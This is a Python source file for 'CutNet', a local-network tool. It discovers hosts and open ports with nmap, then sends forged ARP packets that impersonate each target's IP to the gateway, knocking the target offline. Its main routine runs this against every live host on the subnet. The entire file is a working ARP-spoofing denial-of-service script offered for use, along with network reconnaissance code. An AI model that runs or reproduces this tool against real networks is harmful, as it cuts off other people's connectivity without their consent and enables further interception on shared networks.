cutnet.py

# Copyright (c) 2026 reusteur73
# Licensed under the MIT License.
# See LICENSE file in the project root for full license information.

from subprocess import run as subprocess_run
from scapy.all import send as send_packet
from requests import get as requests_get
from re import search as re_search
from dataclasses import dataclass
from ipaddress import IPv4Network
from scapy.layers.l2 import ARP
from concurrent.futures import ThreadPoolExecutor
from xml.etree import ElementTree as ET
from typing import Optional
import subprocess
import shutil
import threading
import tempfile
import os


def _nmap_bin() -> str:
    return shutil.which("nmap") or "nmap"


def _run_nmap_stream(args: list, target: str, console_sink: list | None) -> str:
    """Run nmap, stream stdout/stderr to console_sink in real-time, return XML string.

    XML is written to a temp file so that stdout is free for nmap's verbose/progress
    text output. When using '-oX -', nmap suppresses all text output on stdout to avoid
    corrupting the XML stream, which is why no console lines would appear otherwise.
    """
    xml_file = os.path.join(tempfile.gettempdir(), f"cutnet_nmap_{os.getpid()}_{id(args)}.xml")
    cmd = [_nmap_bin(), "-oX", xml_file] + [str(a) for a in args] + [str(target)]

    if console_sink is not None:
        # Show the command with '-' to keep it readable (hide the temp path)
        display = [_nmap_bin(), "-oX", "-"] + [str(a) for a in args] + [str(target)]
        console_sink.append("$ " + " ".join(display))

    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    def _drain(stream):
        for raw in stream:
            line = raw.decode("utf-8", errors="replace").rstrip()
            if line and console_sink is not None:
                console_sink.append(line)

    t_out = threading.Thread(target=_drain, args=(proc.stdout,), daemon=True)
    t_err = threading.Thread(target=_drain, args=(proc.stderr,), daemon=True)
    t_out.start()
    t_err.start()
    proc.wait()
    t_out.join(timeout=5)
    t_err.join(timeout=5)

    try:
        with open(xml_file, encoding="utf-8", errors="replace") as f:
            return f.read()
    except Exception:
        return ""
    finally:
        try:
            os.unlink(xml_file)
        except Exception:
            pass


def _parse_hosts(xml_str: str) -> list:
    """Parse nmap host-discovery XML → [(ip, mac, hostname, device_type, vendor), ...]"""
    try:
        root = ET.fromstring(xml_str)
    except ET.ParseError:
        return []
    hosts = []
    for host_el in root.findall("host"):
        status = host_el.find("status")
        if status is None or status.get("state") != "up":
            continue
        ip = mac = vendor = hostname = device_type = None
        for addr in host_el.findall("address"):
            atype = addr.get("addrtype", "")
            if atype == "ipv4":
                ip = addr.get("addr")
            elif atype == "mac":
                mac = addr.get("addr")
                vendor = addr.get("vendor")
        hn_el = host_el.find("hostnames")
        if hn_el is not None:
            for hn in hn_el.findall("hostname"):
                if hn.get("name"):
                    hostname = hn.get("name")
                    break
        om = host_el.find(".//osmatch")
        if om is not None:
            device_type = om.get("name")
        if ip:
            hosts.append((ip, mac, hostname, device_type, vendor))
    return hosts


def _parse_ports(xml_str: str) -> list:
    """Parse nmap port-scan XML → [{port, protocol, state, service, product, version}, ...]"""
    try:
        root = ET.fromstring(xml_str)
    except ET.ParseError:
        return []
    ports = []
    for host_el in root.findall("host"):
        ports_el = host_el.find("ports")
        if ports_el is None:
            continue
        for port_el in ports_el.findall("port"):
            state_el = port_el.find("state")
            svc_el = port_el.find("service")
            ports.append({
                "port": port_el.get("portid", "?"),
                "protocol": port_el.get("protocol", "tcp"),
                "state": state_el.get("state", "unknown") if state_el is not None else "unknown",
                "service": svc_el.get("name", "") if svc_el is not None else "",
                "product": svc_el.get("product", "") if svc_el is not None else "",
                "version": svc_el.get("version", "") if svc_el is not None else "",
            })
    return sorted(ports, key=lambda p: int(p["port"]) if str(p["port"]).isdigit() else 0)


@dataclass
class ClientInfo:
    """Represents a client device on the network."""
    ip: str
    mac: str
    hostname: str
    device_type: str
    os: Optional[str] = None
    ping: Optional[int] = None
    vendor: Optional[str] = None

    def __repr__(self):
        return f"ClientInfo(ip={self.ip}, mac={self.mac}, hostname={self.hostname}, device_type={self.device_type}, os={self.os}, ping={self.ping}, vendor={self.vendor})"


class CutNet:
    """A simple network cut tool that sends ARP packets to disrupt connectivity of target devices."""
    def __init__(self):
        self.gateway, self.subnet_mask, self.interface = self.get_network_data()
        self.public_ip = self.get_public_ip()
        self.disconnected_clients = set()
        self.clients: list[ClientInfo] = []
        self.threads = {}
        self.stop_flags = {}

    def get_network_data(self):
        result = subprocess_run(
            ["netstat", "-rn"],
            capture_output=True,
            text=True,
            encoding="cp1252"
        )

        match = re_search(
            r"0.0.0.0 *0.0.0.0 *(\d+\.\d+\.\d+\.\d+) *(\d+\.\d+\.\d+\.\d+)",
            result.stdout
        )
        if match:
            gateway = match.group(1)
            interface = match.group(2)
            gateway_zero = ".".join(gateway.split(".")[:3] + ["0"])
            match = re_search(
                rf"{gateway_zero} *(\d+\.\d+\.\d+\.\d+)",
                result.stdout
            )
            if match:
                subnet_mask = match.group(1)
                return gateway, subnet_mask, interface
            else:
                return gateway, None, interface
        else:
            return None, None, None

    def get_client_ping(self, ip):
        response = subprocess_run(
            ["ping", "-n", "1", ip],
            capture_output=True,
            text=True,
            encoding="cp1252"
        )
        if "Impossible" in response.stdout or "unreachable" in response.stdout:
            return None
        else:
            match = re_search(r".*\d*ms.*\d*ms.*= (\d*ms)", response.stdout)
            if match:
                avg_ping = match.group(1)
                return int(avg_ping.replace("ms", ""))
            else:
                return None

    def scan_alive_hosts(self, network, console_sink=None):
        args = [
            "-sn", "-PR",
            "--max-retries", "1",
            "--host-timeout", "2000ms",
            "--min-parallelism", "50",
            "-v",
            "--stats-every", "2s",
        ]
        xml = _run_nmap_stream(args, str(network), console_sink)
        discovered = _parse_hosts(xml)
        self.clients = []

        def _ping_host(item):
            ip, mac, hostname, device_type, vendor = item
            return ClientInfo(
                ip=ip, mac=mac, hostname=hostname,
                device_type=device_type, vendor=vendor,
                ping=self.get_client_ping(ip),
            )

        with ThreadPoolExecutor(max_workers=min(len(discovered), 32) or 1) as executor:
            self.clients = list(executor.map(_ping_host, discovered))

        return self.clients

    def scan_ports(self, ip: str, mode: str = "top100", console_sink=None) -> list[dict]:
        """Scan open ports on a single host. mode: top100 | top1000 | all"""
        if mode == "top1000":
            args = ["--top-ports", "1000", "-sV", "--version-intensity", "5", "--open", "-v", "--stats-every", "2s"]
        elif mode == "all":
            args = ["-p", "1-65535", "-sV", "--version-intensity", "3", "--open", "-v", "--stats-every", "2s"]
        else:
            args = ["--top-ports", "100", "-sV", "--version-intensity", "5", "--open", "-v", "--stats-every", "2s"]

        xml = _run_nmap_stream(args, ip, console_sink)
        return _parse_ports(xml)

    def cutnet(self, target_ip: str):
        """Sends ARP packets to the target IP to disrupt its connectivity."""
        stop_event = threading.Event()
        thread = threading.Thread(
            target=self._cutnet,
            args=(target_ip, self.gateway, stop_event),
            daemon=True,
        )
        self.threads[target_ip] = thread
        self.stop_flags[target_ip] = stop_event
        thread.start()

    def _cutnet(self, target_ip: str, gateway_ip: str, stop_event: threading.Event):
        pkt = ARP(psrc=target_ip, pdst=gateway_ip)
        while not stop_event.is_set():
            send_packet(pkt, verbose=0)
            stop_event.wait(1)
        self.disconnected_clients.add(target_ip)

    def stop_cutnet(self, target_ip: str):
        """Stops the ARP packet sending thread for the given target IP."""
        if target_ip in self.stop_flags:
            self.stop_flags[target_ip].set()
            self.threads[target_ip].join(timeout=2)
            del self.stop_flags[target_ip]
            del self.threads[target_ip]
            self.disconnected_clients.discard(target_ip)

    def get_public_ip(self):
        try:
            response = requests_get("https://api.ipify.org?format=json", timeout=5)
            if response.status_code == 200:
                return response.json().get("ip")
        except Exception as e:
            print(f"Error fetching public IP: {e}")
        return None


if __name__ == "__main__":
    cutnet = CutNet()
    print("Gateway:", cutnet.gateway, "Subnet Mask:", cutnet.subnet_mask, "Interface:", cutnet.interface, "\n\n")
    if cutnet.gateway and cutnet.subnet_mask:
        network = IPv4Network(f"{cutnet.gateway}/{cutnet.subnet_mask}", strict=False)
        alive_hosts: list[ClientInfo] = cutnet.scan_alive_hosts(network)
        print("Initializing CutNet against alive hosts...")
        for client in alive_hosts:
            cutnet.cutnet(client.ip)
        print("Alive hosts:", alive_hosts)